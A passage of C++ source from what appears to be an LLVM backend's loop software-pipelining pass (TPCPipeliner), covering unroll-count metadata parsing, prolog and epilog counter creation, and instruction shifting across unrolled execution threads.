(!CurLoop->contains(RSUseMI)) {\n for (MachineOperand& CMO : RSUseMI->uses()) {\n if (CMO.isReg() && CMO.getReg() == OrigReg) {\n CMO.setReg(v_reg);\n }\n }\n }\n }\n }\n }\n }\n }\n}\n\nvoid TPCPipeliner::replaceVregs(MachineInstr* MI, unsigned ThreadNum) {\n for (MachineOperand& MO : MI->uses()) {\n if (!MO.isReg()) continue;\n // Tied register that was not defined in the current execution thread\n if (MO.isTied() && ExecThreads[ThreadNum].VRegMap.count(MO.getReg()) == 0) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n MachineInstr* TiedDef = MRI->getVRegDef(MO.getReg());\n MachineBasicBlock::iterator it = ++MachineBasicBlock::iterator(TiedDef);\n if (!TiedDef->isPHI()) {\n BuildMI(*TiedDef->getParent(), it, DebugLoc(), TII->get(TargetOpcode::COPY), v_reg)\n .addReg(MO.getReg());\n MO.setReg(v_reg);\n }\n }\n\n if (ExecThreads[ThreadNum].VRegMap.count(MO.getReg()) > 0) {\n MO.setReg(ExecThreads[ThreadNum].VRegMap[MO.getReg()]);\n }\n }\n\n decoupleIfPossible(MI, ThreadNum);\n}\n\nunsigned TPCPipeliner::getCounterRegister(MachineLoop* L) {\n unsigned Counter = TPC::S32;\n MachineLoop* Parent = L->getParentLoop();\n while(Parent) {\n MachineBasicBlock* MBB = Parent->getHeader();\n\n MachineBasicBlock* Preheader = nullptr;\n\n typedef std::vector<MachineBasicBlock*> MBBVector;\n MBBVector Preds(MBB->pred_begin(), MBB->pred_end());\n for (MBBVector::iterator I = Preds.begin(), E = Preds.end(); I != E; ++I) {\n MachineBasicBlock *PB = *I;\n if (!Parent->getLoopLatch()) {\n break;\n }\n if (PB != Parent->getLoopLatch()) {\n Preheader = PB;\n break;\n }\n }\n\n if (Preheader == nullptr) {\n Parent = Parent->getParentLoop();\n continue;\n }\n\n\n for (MachineInstr& MI : Preheader->instrs()) {\n if (isLoop(&MI)) {\n Counter++;\n break;\n }\n }\n\n Parent = Parent->getParentLoop();\n if (Counter == TPC::S35) {\n break;\n }\n }\n\n return Counter;\n}\n\nstatic unsigned getUnrollCountFromMetadata(const MDNode* LoopMD) {\n // First operand should refer to the loop id itself.\n assert(LoopMD->getNumOperands() > 0 && \"requires at least one operand\");\n// assert(LoopMD->getOperand(0) == LoopMD && \"invalid loop id\");\n\n MDNode *MD = nullptr;\n\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.machine.unroll.count\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Unroll hint metadata should have two operands.\");\n unsigned Count =\n mdconst::extract<ConstantInt>(MD->getOperand(1))->getZExtValue();\n assert(Count >= 1 && \"Unroll count must be positive.\");\n return Count;\n }\n }\n\n return 0;\n}\n\nstatic bool getPipelineFromMetadata(const MDNode* LoopMD) {\n // First operand should refer to the loop id itself.\n assert(LoopMD->getNumOperands() > 0 && \"requires at least one operand\");\n// assert(LoopMD->getOperand(0) == LoopMD && \"invalid loop id\");\n\n MDNode *MD = nullptr;\n\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.pipelined\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Pipeline hint metadata should have two operands.\");\n bool DoPipelining =\n !(mdconst::extract<ConstantInt>(MD->getOperand(1))->isZero());\n return DoPipelining;\n }\n }\n\n return 0;\n}\n\n// Calculates unroll count and how to shift execution threads\nbool TPCPipeliner::pipeline(MachineLoop* L) {\n NextCounters.clear();\n LeftCounters.clear();\n InitialCounters.clear();\n EndCounters.clear();\n ExecThreads.clear();\n DelayedPhis.clear();\n AdjustedPhis.clear();\n AccumulateMap.clear();\n LinearIVs.clear();\n\n Header = nullptr;\n Latch = nullptr;\n Exit = nullptr;\n Prolog = nullptr;\n\n CurLoop = L;\n LoopCounter = getCounterRegister(CurLoop);\n Header = CurLoop->getHeader();\n Latch = CurLoop->getLoopLatch();\n\n if (Latch == nullptr) {\n return false;\n }\n\n MachineInstr& EndInstr = *(--Latch->end());\n \n if (EndInstr.getOpcode() != TPC::LOOPEND) {\n return false;\n }\n\n typedef std::vector<MachineBasicBlock*> MBBVector;\n MBBVector Preds(Header->pred_begin(), Header->pred_end());\n for (MBBVector::iterator I = Preds.begin(), E = Preds.end(); I != E; ++I) {\n MachineBasicBlock *PB = *I;\n if (PB != Latch) {\n assert(Prolog == nullptr && \"Three predecessors for a hardware loop\");\n Prolog = PB;\n }\n }\n\n LoopInst = &(*(--Prolog->end()));\n if (!isLoop(LoopInst)) {\n return false;\n }\n\n if (checkForProhibitingInstructions()) {\n return false;\n }\n\n PrologInserter = --Prolog->end();\n\n const MDNode* LoopMD = nullptr;\n\n calcLoopForm();\n\n if(EndInstr.getOperand(EndInstr.getNumOperands() - 5).isMetadata()) {\n LoopMD = EndInstr.getOperand(EndInstr.getNumOperands() - 5).getMetadata();\n }\n\n // Get iteration count and unroll count from pragmas\n if (LoopMD) {\n unsigned UnrollCount = getUnrollCountFromMetadata(LoopMD);\n bool DoPipeline = getPipelineFromMetadata(LoopMD);\n //unsigned Divide = getMetadataValue(LoopMD, \"llvm.loop.unroll.divide\");\n\n if (UnrollCount > 0) {\n if (LoopInst->getOperand(1).isImm() && LoopInst->getOperand(2).isImm()\n && LoopInst->getOperand(0).isImm()) {\n int Start = LoopInst->getOperand(0).getImm();\n int Bound = LoopInst->getOperand(1).getImm();\n int Step = LoopInst->getOperand(2).getImm();\n\n // We can get all loop parameters in compile time and they don't\n // match with UnrollCount. Nothing we can do here.\n if ((Bound-Start / Step) % UnrollCount != 0) {\n return false;\n }\n if ((Bound-Start) / Step < (long) (UnrollCount * 2)) {\n DoPipeline = false;\n }\n }\n return unrollAndAlign(UnrollCount, DoPipeline);\n //} else if (Divide > 0) {\n // return unrollAndAlign(Divide);\n }\n }\n\n // TODO: better analysis and automatic unrolling withoug pragmas\n return false;\n // Don't have enough pragmas. Still can pipeline if loop parameters are constants\n// MachineBasicBlock::iterator InsertPos = --Prolog->end();\n\n// if (!isLoop(&(*InsertPos))) {\n// return false;\n// }\n\n// MachineInstr& LoopInst = *(InsertPos);\n// MachineOperand& Start = LoopInst.getOperand(0);\n// MachineOperand& Boundary = LoopInst.getOperand(1);\n// MachineOperand& Step = LoopInst.getOperand(2);\n// unsigned CmpMode = LoopInst.getOperand(3).getImm();\n\n// // Can't pipeline without constant step\n// if (!Step.isImm()) {\n// return false;\n// }\n\n// if (Start.isImm() && Boundary.isImm() && Step.isImm()) {\n// int StartVal = Start.getImm();\n// int EndVal = Boundary.getImm();\n// int StepVal = Step.getImm();\n// unsigned Inclusive = 0;\n\n// if (CmpMode == TPCII::LoopEQ ||\n// CmpMode == TPCII::LoopLE ||\n// CmpMode == TPCII::LoopGE) {\n// Inclusive = 1;\n// }\n\n// unsigned IterCount = (abs(EndVal - StartVal) + Inclusive) / abs(StepVal);\n// if ((abs(EndVal - StartVal) + Inclusive) % StepVal) IterCount++;\n\n// DEBUG(dbgs() << \"Iter count \" << IterCount << \"\\n\");\n\n// // Just try several common divisors\n// if (!(IterCount % 4) && IterCount >=8) {\n// return unrollAndAlign(4, L);\n// }\n// if (!(IterCount % 3) && IterCount >=6) {\n// return unrollAndAlign(3, L);\n// }\n// if (!(IterCount % 5) && IterCount >=10) {\n// return unrollAndAlign(5, L);\n// }\n// }\n\n// return false;\n}\n\nvoid TPCPipeliner::createPrologCounters(int Counter, MachineBasicBlock* PrologBlock) {\n // For the first thread just return start value\n unsigned StartReg;\n //MachineBasicBlock::iterator InsertPos = --PrologBlock->end();\n MachineBasicBlock::iterator InsertPos = PrologInserter;\n assert(isLoop(&(*(--Prolog->end()))) && \"Preheader wasn't created during loop construction\");\n if (LoopInst->getOperand(0).isReg()) {\n StartReg = LoopInst->getOperand(0).getReg();\n } else {\n unsigned v_reg = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n BuildMI(*PrologBlock, InsertPos, DebugLoc(), TII->get(TPC::MOVsip), v_reg)\n .addImm(LoopInst->getOperand(0).getImm())\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(v_reg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n StartReg = v_reg;\n }\n InitialCounters.push_back(StartReg);\n\n unsigned PrevReg = StartReg;\n for (int i = 1; i < Counter; ++i) {\n unsigned v_reg = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n if (LoopInst->getOperand(2).isReg()) {\n MachineInstr* MI = BuildMI(*PrologBlock, InsertPos, DebugLoc(), TII->get(TPC::ADDssp), v_reg)\n .addReg(PrevReg)\n .addReg(LoopInst->getOperand(2).getReg())\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(PrevReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n (void) MI;\n PrevReg = v_reg;\n LLVM_DEBUG(ExecThreads[i].Dprolog.push_back(MI));\n } else {\n MachineInstr* MI = BuildMI(*PrologBlock, InsertPos, DebugLoc(), TII->get(TPC::ADDsip), v_reg)\n .addReg(StartReg)\n .addImm(LoopInst->getOperand(2).getImm() * i)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(StartReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n (void) MI;\n LLVM_DEBUG(ExecThreads[i].Dprolog.push_back(MI));\n }\n InitialCounters.push_back(v_reg);\n\n // Now patch loop counter registers that were moved out of the loop\n for (MachineInstr* MI : ExecThreads[i].CounterInstrs) {\n for (MachineOperand& MO : MI->uses()) {\n if (MO.isReg() && MO.getReg() == LoopCounter) {\n MO.setReg(v_reg);\n }\n }\n }\n }\n}\n\nvoid TPCPipeliner::correctCounters(int Counter) {\n if (ExecThreads[1].CounterInstrs.empty()) {\n return;\n } else {\n createPrologCounters(Counter, Prolog);\n }\n}\n\nvoid TPCPipeliner::correctIVs(int UnrollCount) {\n for (auto IV: LinearIVs) {\n MachineInstr* MI = IV.first;\n unsigned OpNum = IV.second;\n MI->getOperand(OpNum).setImm(MI->getOperand(OpNum).getImm() * UnrollCount);\n }\n}\n\nvoid TPCPipeliner::correctExit() {\n MachineBasicBlock* EB = LoopInst->getOperand(4).getMBB();\n if (EB->begin() == EB->end()) {\n MachineBasicBlock* MBB = *(EB->successors().begin());\n MBB->setHasAddressTaken();\n LoopInst->getOperand(4).setMBB(MBB);\n\n Latch->removeSuccessor(EB);\n Latch->addSuccessor(MBB);\n\n // Reverse exit rewiring again\n for (MachineInstr& MI : MBB->instrs()) {\n if (MI.isPHI()) {\n for (MachineOperand& MO : MI.uses()) {\n if (MO.isMBB() && MO.getMBB() == EB) {\n MO.setMBB(Latch);\n }\n }\n }\n }\n }\n}\n\n// This method creates increments of the counter for shifted iterations.\n// Unfortunately we can't handle counter increments as simple instructions of an execution thread\n// because they depend on the previous iteration.\n// So in this method we ensure that only shifted increments are calculated inside the loop\n// and counters for current iteration are all ready either from prolog or from previous iteration.\n// Otherwise SPU will ruin the entire pipeline.\nvoid TPCPipeliner::createNextCounters(int Counter, MachineBasicBlock* PrologBlock) {\n MachineBasicBlock::iterator InsertPos = --(PrologBlock->end());\n assert((*InsertPos).getOpcode() == TPC::LOOPEND);\n for (int i = 0; i < Counter; ++i) {\n Register v_reg = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n\n MachineInstr* ShiftCounter = nullptr;\n if (LoopInst->getOperand(2).isImm()) {\n ShiftCounter = BuildMI(*PrologBlock, InsertPos, DebugLoc(), TII->get(TPC::ADDsip), v_reg)\n .addReg(LoopCounter)\n .addImm(LoopInst->getOperand(2).getImm() * Counter)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n // TODO: Need to multiply\n ShiftCounter = BuildMI(*PrologBlock, InsertPos, DebugLoc(), TII->get(TPC::ADDssp), v_reg)\n .addReg(LoopCounter)\n .addReg(LoopInst->getOperand(2).getReg() /** (i + Counter)*/)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n unsigned ThreadCounter = ExecThreads[i].VRegMap[LoopCounter];\n LLVM_DEBUG(ExecThreads[i].Dloop.push_back(ShiftCounter));\n\n // Remove original increment\n if (ThreadCounter != LoopCounter) {\n MachineInstr* OriginalCounterInst = MRI->getVRegDef(ThreadCounter);\n OriginalCounterInst->removeFromParent();\n }\n\n // Create Phi node for the counter\n Register PrologCounter = InitialCounters[i];\n unsigned PhiCounter = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n MachineInstr* Phi = BuildMI(*Header, Header->begin(), DebugLoc(), TII->get(TargetOpcode::PHI), PhiCounter).addReg(PrologCounter).addMBB(Prolog).addReg(v_reg).addMBB(Latch);\n if (PrologCounter.isPhysical()) {\n // For some reason PHI can't have physical register operands, create a proxy COPY in that case\n unsigned PhiWA = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n MachineBasicBlock::iterator BeforeLoop = --Prolog->end();\n BuildMI(*Prolog, BeforeLoop, DebugLoc(), TII->get(TargetOpcode::COPY), PhiWA).addReg(PrologCounter);\n Phi->getOperand(1).setReg(PhiWA);\n }\n assert(!v_reg.isPhysical() && \"Can't have phis with physical registers\");\n LLVM_DEBUG(ExecThreads[i].Dphi.push_back(Phi));\n\n // Replace the base of increment with phi, also replace all usages of the current iteration with phi.\n ShiftCounter->getOperand(1).setReg(PhiCounter);\n LeftCounters.push_back(PhiCounter);\n\n NextCounters.push_back(v_reg);\n }\n}\n\nvoid TPCPipeliner::createEpilogCounters(int Counter, MachineBasicBlock* PrologBlock) {\n unsigned BoundaryReg;\n EpilogInserter = PrologBlock->begin();\n if (LoopInst->getOperand(1).isReg()) {\n BoundaryReg = LoopInst->getOperand(1).getReg();\n } else {\n unsigned v_reg = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n MachineInstr* MI = BuildMI(*PrologBlock, EpilogInserter, DebugLoc(), TII->get(TPC::MOVsip), v_reg)\n .addImm(LoopInst->getOperand(1).getImm())\n .addImm(TPCII::OpType::INT32)\n .addImm(0) // Switch\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n\n EpilogInserter = ++MachineBasicBlock::iterator(MI);\n BoundaryReg = v_reg;\n }\n\n unsigned Opcode;\n if (LoopInst->getOperand(2).isReg()) {\n Opcode = TPC::SUBssp;\n } else {\n Opcode = TPC::SUBsip;\n }\n\n unsigned PrevReg = BoundaryReg;\n for (int i = 1; i <= Counter; ++i) {\n unsigned v_reg = MRI->createVirtualRegister(PrologBlock->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n if (LoopInst->getOperand(2).isReg()) {\n unsigned LoopCounter = LoopInst->getOperand(2).getReg();\n MachineInstr* MI = BuildMI(*PrologBlock, EpilogInserter, DebugLoc(), TII->get(Opcode), v_reg)\n .addReg(PrevReg)\n .addReg(LoopCounter)\n .addImm(TPCII::OpType::INT32)\n .addImm(0) // Switch\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LLVM_DEBUG(ExecThreads[i].Epilog.push_back(MI));\n EpilogInserter = ++MachineBasicBlock::iterator(MI);\n PrevReg = v_reg;\n } else {\n int Decrement = Inclusive ? i - 1: i;\n MachineInstr* MI = BuildMI(*PrologBlock, EpilogInserter, DebugLoc(), TII->get(Opcode), v_reg)\n .addReg(BoundaryReg)\n .addImm(LoopInst->getOperand(2).getImm() * Decrement)\n .addImm(TPCII::OpType::INT32)\n .addImm(0) // Switch\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LLVM_DEBUG(ExecThreads[Counter - i].Epilog.push_back(MI));\n EpilogInserter = ++MachineBasicBlock::iterator(MI);\n }\n EndCounters.push_back(v_reg);\n }\n\n std::reverse(EndCounters.begin(), EndCounters.end());\n}\n\nvoid TPCPipeliner::replaceUses(MachineInstr* MI, unsigned Old, unsigned New) {\n for (MachineOperand& MO: MI->uses()) {\n if (MO.isReg() && MO.getReg() == Old) {\n MO.setReg(New);\n }\n }\n}\n\n// Checks wether a MovedInst defines a Phi use\nbool TPCPipeliner::isCyclicDependency(MachineInstr* Phi, MachineInstr* MovedInst, MachineOperand& Use) {\n const TargetRegisterClass* RC = MRI->getRegClass(Use.getReg());\n while (true) {\n const TargetRegisterClass* DRC = MRI->getRegClass((*(MovedInst->defs().begin())).getReg());\n if (RC != DRC) {\n return false;\n } else {\n // TODO: walk the entire block until meeting a phi use\n return true;\n }\n }\n}\n\nbool TPCPipeliner::align(std::vector<unsigned>& Shifts) {\n Exit = CurLoop->getExitBlock();\n\n // Can't pipeline across basic blocks\n if (Header != Latch) {\n return false;\n }\n\n MachineBasicBlock::iterator BeforeLoopEnd = --Latch->end();\n setPrologInserter();\n\n // Create a lot of increments. For every execution thread we need:\n // 1. Counter value for the prolog\n // 2. Counter value for a shifted iteration ouside of the current iteration in a loop\n // 3. Counter value for the epilog\n createPrologCounters(Shifts.size(), Prolog);\n createEpilogCounters(Shifts.size(), Exit);\n createNextCounters(Shifts.size(), Latch);\n\n assert(Shifts.size() == ExecThreads.size() && \"Need shifting count for every iteration\");\n for (unsigned i = 0; i < Shifts.size(); ++i) {\n unsigned ShiftCount = Shifts[i];\n\n unsigned InitialCounterReg = InitialCounters[i];\n unsigned EndCounterReg = EndCounters[i];\n unsigned NextCounterReg = NextCounters[i];\n unsigned LeftCounterReg = LeftCounters[i];\n\n RegMap PrologMap;\n\n // Shift instructions and create prolog\n for (unsigned j = 0; j < ShiftCount; ++j) {\n // In this loop we process instructions that should be shifted to the next iteration.\n // These instructions should be moved to the prolog of the loop and cloned.\n // Cloned isntructions are placed in the end of the loop and use next iteration's counter. But if an instruction is connected to phi-node\n // Phi node should be fixed to take the def of the moved instruction from the pre-header.\n // And the moved instruction shoul use the original phi-use insted of phi-def\n MachineInstr* PrologMI = ExecThreads[i].ThreadInstrs[j];\n\n PrologMI->removeFromParent();\n\n // Replace loop iterator with prolog initial values\n for (MachineOperand& MO: PrologMI->uses()) {\n if (MO.isReg() && MO.getReg() == ExecThreads[i].VRegMap[LoopCounter]) {\n MO.setReg(InitialCounterReg);\n }\n }\n\n // Clone instruction and insert it as a shifted iteration at the end of the loop\n MachineInstr* ShiftedMI = Prolog->getParent()->CloneMachineInstr(PrologMI);\n for (MachineOperand& MO: ShiftedMI->uses()) {\n if (MO.isReg() && MO.getReg() == InitialCounterReg) {\n MO.setReg(NextCounterReg);\n }\n // Instruction uses a phi-node, but it's the next iteration already\n // patch to use a phi-use\n if (MO.isReg() && isPhiDef(MO.getReg(), i)) {\n MachineInstr* Phi = MRI->getVRegDef(MO.getReg());\n unsigned counter = 0;\n for (MachineOperand& PhiMO : Phi->uses()) {\n if (PhiMO.isMBB() && PhiMO.getMBB() == Latch) {\n //Phi->dump();\n //ShiftedMI->dump();\n // TODO: potential bugs!! Too complicated\n if (ShiftedMI->getOperand(0).getReg() != Phi->getOperand(counter).getReg()) {\n bool DefinedLater = false;\n for (unsigned k = j + 1; k < ExecThreads[i].ThreadInstrs.size(); k++) {\n // Make sure that the register is already defined by the previous instruction\n // Otherwise don't get the valye from the Latch phi-use\n if (ExecThreads[i].ThreadInstrs[k]->getOperand(0).getReg()\n == Phi->getOperand(counter).getReg()) {\n DefinedLater = true;\n break;\n }\n }\n if (!DefinedLater) {\n MO.setReg(Phi->getOperand(counter).getReg());\n }\n }\n break;\n }\n counter++;\n }\n }\n }\n if (LinearIVs.count(PrologMI) > 0) {\n ShiftedMI->getOperand(LinearIVs[PrologMI]).\n setImm(ShiftedMI->getOperand(LinearIVs[PrologMI]).getImm()* Shifts.size());\n }\n Latch->insert(BeforeLoopEnd, ShiftedMI);\n\n // We have SSA here, create new vregs for everything\n for (MachineOperand& MO : PrologMI->defs()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n PrologMap[MO.getReg()] = v_reg;\n MO.setReg(v_reg);\n }\n\n for (MachineOperand& MO : PrologMI->uses()) {\n if (MO.isReg() && PrologMap.count(MO.getReg()) > 0) {\n MO.setReg(PrologMap[MO.getReg()]);\n }\n }\n\n // If we moved an instruction dependent on a phi-node, remove a phi-node use\n // and replace it with a value from a pre-loop block\n bool PatchPhiUse = false;\n std::map<MachineOperand*, unsigned> PhiPatchMap;\n for (MachineOperand& MO : PrologMI->uses()) {\n if (MO.isReg() && isPhiDef(MO.getReg(), i)) {\n MachineInstr* Phi = MRI->getVRegDef(MO.getReg());\n int OpNum = 1;\n for (MachineOperand& PhiMO : Phi->uses()) {\n if (PhiMO.isMBB() && PhiMO.getMBB() == Prolog) {\n // TODO: what if it's an immidiate\n unsigned PhiHeader = Phi->getOperand(OpNum - 1).getReg();\n // If an operand is tied to the def, several instructions with the same use and different defs would cause problems. Copy use to a separate register.\n if (MO.isTied()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n // TODO: insert after phi-adjusting instructions\n BuildMI(*Prolog, --Prolog->end()/*PrologInserter*/, DebugLoc(), TII->get(TargetOpcode::COPY), v_reg)\n .addReg(PhiHeader);\n MO.setReg(v_reg);\n } else {\n MO.setReg(Phi->getOperand(OpNum-1).getReg());\n }\n \n // Also patch the phi-node use to take prolog value\n if (isCyclicDependency(Phi, PrologMI, MO)) {\n PatchPhiUse = true;\n PhiPatchMap[&(Phi->getOperand(OpNum-1))] = PrologMI->getOperand(0).getReg();\n //Phi->getOperand(OpNum-1).setReg(PrologMI->getOperand(0).getReg());\n }\n break;\n }\n ++OpNum;\n }\n }\n }\n\n if (PatchPhiUse) {\n for (auto Pair : PhiPatchMap) {\n Pair.first->setReg(Pair.second);\n }\n }\n\n // Move instruction from loop to prolog\n MachineBasicBlock::iterator InsertPos = --Prolog->end();\n Prolog->insert(InsertPos, PrologMI);\n\n LLVM_DEBUG(ExecThreads[i].Dprolog.push_back(PrologMI));\n LLVM_DEBUG(ExecThreads[i].Dshift.push_back(ShiftedMI));\n }\n \n RegMap EpilogMap;\n\n // Create epilog\n for (unsigned j = ShiftCount; j < ExecThreads[i].ThreadInstrs.size(); ++j) {\n MachineInstr* LeftMI = ExecThreads[i].ThreadInstrs[j];\n MachineInstr* EpilogMI = Latch->getParent()->CloneMachineInstr(ExecThreads[i].ThreadInstrs[j]);\n\n if (LinearIVs.count(LeftMI) > 0) {\n LeftMI->getOperand(LinearIVs[LeftMI]).\n setImm(LeftMI->getOperand(LinearIVs[LeftMI]).getImm()* Shifts.size());\n }\n\n // In this loop we process instructions that were not shifted to the next iteration.\n // We need to clone these instructions and insert clones to the epilog.\n // But also we need to check whether they use defs of shifted instructions.\n // If that's the case, then we need to create additinal PHI (PrologDef, PrologMBB, ShiftedDef, LatchMBB)\n // add patch the use with the new virtual register from the PHI\n for (MachineOperand& MO : LeftMI->uses()) {\n if (MO.isReg() && PrologMap.count(MO.getReg()) > 0) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n BuildMI(*Header, Header->begin(), DebugLoc(), TII->get(TargetOpcode::PHI), v_reg).addReg(PrologMap[MO.getReg()]).addMBB(Prolog).addReg(MO.getReg()).addMBB(Latch);\n // TODO: It's not really safe, someone else can use this. Probably need to create another map, or flag it in some way\n// PrologMap.erase(MO.getReg());\n assert(!Register(PrologMap[MO.getReg()]).isPhysical() && \"Physical register in a phi node\");\n assert(!Register(MO.getReg()).isPhysical() && \"Physical register in a phi node\");\n MO.setReg(v_reg);\n LLVM_DEBUG(ExecThreads[i].Dphi.push_back(&(*Header->begin())));\n }\n }\n for (MachineOperand& MO : LeftMI->uses()) {\n if (MO.isReg() && MO.getReg() == ExecThreads[i].VRegMap[LoopCounter]) {\n MO.setReg(LeftCounterReg);\n }\n }\n\n // We have SSA here, create new vregs for everything\n for (MachineOperand& MO : LeftMI->defs()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n EpilogMap[MO.getReg()] = v_reg;\n\n MO.setReg(v_reg);\n }\n\n for (MachineOperand& MO : LeftMI->uses()) {\n if (MO.isReg() && EpilogMap.count(MO.getReg()) > 0) {\n MO.setReg(EpilogMap[MO.getReg()]);\n }\n // If def is tied to use, we need to replace epilog's tied use with iteration's def\n if (MO.isReg() && MO.isTied() && CurLoop->contains(MRI->getVRegDef(MO.getReg()))) {\n// unsigned Idx = LeftMI->findRegisterUseOperandIdx(MO.getReg());\n// LeftMI->dump();\n// unsigned TiedReg = LeftMI->getOperand(LeftMI->findTiedOperandIdx(Idx)).getReg();\n unsigned TiedReg = LeftMI->getOperand(LeftMI->findTiedDefIdx(MO)).getReg();\n replaceUses(EpilogMI, MO.getReg(), TiedReg);\n }\n }\n\n for (MachineOperand& MO : EpilogMI->uses()) {\n if (MO.isReg() && MO.getReg() == ExecThreads[i].VRegMap[LoopCounter]) {\n MO.setReg(EndCounterReg);\n }\n }\n\n Exit->insert(EpilogInserter, EpilogMI);\n EpilogInserter = ++MachineBasicBlock::iterator(EpilogMI);\n\n LLVM_DEBUG(ExecThreads[i].Dloop.push_back(LeftMI));\n ExecThreads[i].Epilog.push_back(EpilogMI);\n }\n\n for (MachineInstr* EMI : ExecThreads[i].Epilog) {\n for (MachineOperand&MO: EMI->uses()) {\n // If epilog instruction depends on the phi-def it should be the last calculated value\n if (MO.isReg() && !MO.getReg().isPhysical()) {\n MachineInstr* Phi = MRI->getVRegDef(MO.getReg());\n if (Phi->isPHI()) {\n if (EpilogMap.count(Phi->getOperand(3).getReg()) > 0) {\n MO.setReg(EpilogMap[Phi->getOperand(3).getReg()]);\n } else {\n MachineInstr* PhiUse = MRI->getVRegDef(Phi->getOperand(3).getReg());\n if (CurLoop->contains(PhiUse)) {\n MO.setReg(Phi->getOperand(3).getReg());\n }\n }\n }\n }\n }\n }\n\n // We created new virtual registers for the regular iteration instructions.\n // If there're phi nodes dependent on these instructions, patch they uses \n for (unsigned j = 0; j < ExecThreads[i].Phis.size(); ++j) {\n MachineInstr* PhiInst = ExecThreads[i].Phis[j];\n for (MachineOperand& MO: PhiInst->uses()) {\n if(MO.isReg() && EpilogMap.count(MO.getReg()) > 0) {\n MO.setReg(EpilogMap[MO.getReg()]);\n }\n }\n }\n\n for (MachineInstr& MI : *Header) {\n if (!MI.isPHI()) {\n for (MachineOperand& MO : MI.uses()) {\n if (MO.isReg() && EpilogMap.count(MO.getReg()) > 0) {\n MO.setReg(EpilogMap[MO.getReg()]);\n }\n }\n }\n }\n\n }\n return true;\n}\n\nbool TPCPipeliner::isPhiDef(unsigned Reg, unsigned Thread) {\n for (unsigned i = 0; i < ExecThreads[Thread].Phis.size(); ++i) {\n MachineInstr* Phi = ExecThreads[Thread].Phis[i];\n if ((*Phi->defs().begin()).getReg() == Reg) {\n return true;\n }\n }\n\n return false;\n}\n\n// Unrolls the loop, makes execution threads independent, shifts iterations\nbool TPCPipeliner::unrollAndAlign(unsigned UnrollCount, bool DoPipelining) {\n for (unsigned i = 0 ; i < UnrollCount; ++i) {\n ExThreadParams p;\n ExecThreads.push_back(p);\n }\n\n for (MachineBasicBlock* MBB : CurLoop->getBlocks()) {\n for (MachineBasicBlock::instr_iterator I = MBB->instr_begin();\n I != MBB->instr_end(); ++I) {\n MachineInstr* MI = &(*I);\n\n if (MI->isBranch()) continue;\n if (MI->isPHI()) {\n ExecThreads[0].Phis.push_back(MI);\n } else {\n ExecThreads[0].ThreadInstrs.push_back(MI);\n }\n }\n }\n\n // Before pipelining we need to find all induction variables that are left\n // after hw transformation and fix increments\n findLinearInduction(UnrollCount);\n\n ExecThreads[0].VRegMap[LoopCounter] = LoopCounter;\n\n // Duplicate counter register for every execution thread\n auto InsertPos = Header->begin();\n while(InsertPos != Header->end() && (*InsertPos).isPHI()) ++InsertPos;\n\n unsigned PrevReg = LoopCounter;\n for (unsigned i = 1; i < UnrollCount; ++i) {\n unsigned v_reg = MRI->createVirtualRegister(Header->getParent()->getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n if (LoopInst->getOperand(2).isReg()) {\n // If increment value is a register, we can't easily make increments in\n // each execution thread independent.\n BuildMI(*Header, InsertPos, DebugLoc(), TII->get(TPC::ADDssp), v_reg)\n .addReg(PrevReg)\n .addReg(LoopInst->getOperand(2).getReg())\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(PrevReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n PrevReg = v_reg;\n InsertPos++;\n } else {\n // If increment value is a constant create independent increment for\n // each execution thread with increment values computed at compile time.\n BuildMI(*Header, InsertPos, DebugLoc(), TII->get(TPC::ADDsip), v_reg)\n .addReg(PrevReg)\n .addImm(LoopInst->getOperand(2).getImm() * i)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(PrevReg, RegState::Undef)\n 